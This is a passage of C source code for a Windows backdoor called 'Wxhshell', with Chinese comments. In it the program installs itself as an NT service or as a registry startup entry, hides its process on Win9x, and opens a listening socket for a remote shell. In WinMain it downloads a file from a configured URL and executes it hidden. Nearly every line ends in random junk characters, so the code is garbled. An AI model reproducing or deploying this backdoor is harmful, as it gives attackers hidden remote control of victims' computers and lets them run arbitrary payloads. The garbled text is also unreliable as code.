ULONG InheritedFromUniqueProcessId; #LZ`kSlv4
} PROCESS_BASIC_INFORMATION; =
N#WwNC
zV]0S o
PROCNTQSIP NtQueryInformationProcess; pP#?|
g6farLBF
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
O>3'ylBQ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q%"nk
m:t$&
HANDLE hProcess; *QVE>{
PROCESS_BASIC_INFORMATION pbi; \r2w@F{C
lc#H%Qlg
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DuWP)#kg
if(NULL == hInst ) return 0; M\%{!Wzo8
ocMf}"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,#A,+!4
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ) E\pQ5&
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @l8?\^N
g 0L 4
if (!NtQueryInformationProcess) return 0; UpITx]y?"m
[|YMnV<B
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ">o/\sXeH
if(!hProcess) return 0; :X#(T-!t
E_OLf%um
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x[X.// :
Um~jp:6p
CloseHandle(hProcess); &+
IXDU
JjwuxZVr O
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ><=af 9T
if(hProcess==NULL) return 0; [Xrq+O,
cE3co(j
HMODULE hMod; 5IepVS(>?v
char procName[255]; (#:Si~3
unsigned long cbNeeded; ;9~z_orNQZ
}yw\+fc
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GHkSU;})
p#&6Ed*V
CloseHandle(hProcess); 'D4NPG`z
^~0r+w61
if(strstr(procName,"services")) return 1; // 以服务启动 KQqlM
G`n-WP
return 0; // 注册表启动 /\9Kr;@vk
} Z_;' r|c
M;E&@[5
// 主模块 I9MI}0}7
int StartWxhshell(LPSTR lpCmdLine) sOJ~PRA
{ t!k 0n&P
SOCKET wsl; 9we=aX5
BOOL val=TRUE;
`>*P(yIN
int port=0; M_e!s}F
struct sockaddr_in door; pxN'E;P-
P$Dr6;
if(wscfg.ws_autoins) Install(); qHj4`&
c*h5lM'n6
port=atoi(lpCmdLine); ,kP{3.#Q
^\!^#rO
if(port<=0) port=wscfg.ws_port; RHxd6Gs"
o]nQo?!
WSADATA data; C{Fo^-3
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xP*R H-<
~q/`Z)(yc
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *cd9[ ~
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5mV'k"Om#"
door.sin_family = AF_INET; :+6m<?R)T
door.sin_addr.s_addr = inet_addr("127.0.0.1"); H$;\TG@,
door.sin_port = htons(port); ,"/_G
acH.L_B:
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w 8E,zH
closesocket(wsl); 9> |rIw
return 1; HG^8&uh]
} hk=+t&Y<H
V6!oe^a7'
if(listen(wsl,2) == INVALID_SOCKET) { 7}*5Mir p
closesocket(wsl); .B)v "Sw#
return 1; ":Q70*xSm
} us]ah~U6A
Wxhshell(wsl); ."lY>(HJ
WSACleanup(); u0x\5!?2
i"b*U5k
return 0; Y8d%L;b[D
YONg1.^!(
} JmBYD[h,
*)w
8fq
// 以NT服务方式启动 J:>TV.TP
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xS.0u"[
{ u/MIB`@,
DWORD status = 0; * T-XslI
DWORD specificError = 0xfffffff; *8Lym,]
kTzZj|l^\
serviceStatus.dwServiceType = SERVICE_WIN32; PvM<#zq_
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @<YZa$`
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d ][E;$
serviceStatus.dwWin32ExitCode = 0; IL~yJx_11
serviceStatus.dwServiceSpecificExitCode = 0; iD\joh-C
serviceStatus.dwCheckPoint = 0; +EFurdX\
serviceStatus.dwWaitHint = 0; vb%\q sf
tpVtbh1)u
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]6nF>C-C
if (hServiceStatusHandle==0) return; VTF),e!
)j$Bo{
status = GetLastError(); -H]svOX
if (status!=NO_ERROR) $Fn# b|e
{ 8xNKVj)@
serviceStatus.dwCurrentState = SERVICE_STOPPED; mr;WxxO5
serviceStatus.dwCheckPoint = 0; A[b'MNsv
serviceStatus.dwWaitHint = 0; x&f?c=\F
serviceStatus.dwWin32ExitCode = status; >1r>cZn
serviceStatus.dwServiceSpecificExitCode = specificError; 7#RW4ZM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ghj6&K%b0
return; ,^'Y7"
} KL xg
wCdUYgsPT"
serviceStatus.dwCurrentState = SERVICE_RUNNING; ubgq8@;
serviceStatus.dwCheckPoint = 0; OZ-F+#d
serviceStatus.dwWaitHint = 0; hP|5q&wX
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?GFVV ->i
} -wO`o<
# ><.zZ
// 处理NT服务事件,比如:启动、停止 Ao,lEjN I
VOID WINAPI NTServiceHandler(DWORD fdwControl) {!,+C0
{ ='mqfGRi>
switch(fdwControl) k'{lo_
{ h.c)+wz/%C
case SERVICE_CONTROL_STOP: _x:K%1_[
serviceStatus.dwWin32ExitCode = 0; ?=\h/C
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0/%zXp&m
serviceStatus.dwCheckPoint = 0; Sy8Og] a
serviceStatus.dwWaitHint = 0; )Ev [o#y
{ FY
VcL*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B
(BWdrG
} VA]%i P,O-
return; xX&*&RPZ
case SERVICE_CONTROL_PAUSE: ch-GmAj
9
serviceStatus.dwCurrentState = SERVICE_PAUSED; #)\KV7f!;
break; vg)zk2O
case SERVICE_CONTROL_CONTINUE: yyXJ_B
serviceStatus.dwCurrentState = SERVICE_RUNNING; HezCRtxRcc
break; *zmbo >{(
case SERVICE_CONTROL_INTERROGATE: 2;q6~Y,
break; D6 M:pIN*
}; f[X>?{q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); EswM#D9(4
} [6c{t
>si<VCO
// 标准应用程序主函数 2Aff3]-:Gd
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <|.M]]}j
{ kQj8;LU
H6~QSe0l
// 获取操作系统版本 alq>|,\x
OsIsNt=GetOsVer(); I5-/KVWb
GetModuleFileName(NULL,ExeFile,MAX_PATH); C[[z3tn
q-uYfXZ{j
// 从命令行安装 y(q1~73s
if(strpbrk(lpCmdLine,"iI")) Install(); ]CTu |
#-@dc
// 下载执行文件 [@/G?sAQm\
if(wscfg.ws_downexe) { 04,]upC${W
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R=E )j^<F
WinExec(wscfg.ws_filenam,SW_HIDE); 9'T(Fc
} )2R:P`U
Kyv$yf9
if(!OsIsNt) { n9)/(=)>*
// 如果时win9x,隐藏进程并且设置为注册表启动 haY.rH]z
HideProc(); D L$P
StartWxhshell(lpCmdLine); ."MBKyg6
} ]qrO"X=
else )[/+j"F
if(StartFromService()) ov?>ALRg
// 以服务方式启动 7=JiL=
StartServiceCtrlDispatcher(DispatchTable); :FK(*BUh
else ^^v\ T
// 普通方式启动 "F0,S~tZZ
StartWxhshell(lpCmdLine); hLBX,r)u
Ar>-xCTD
return 0; 6 Iup4sP
}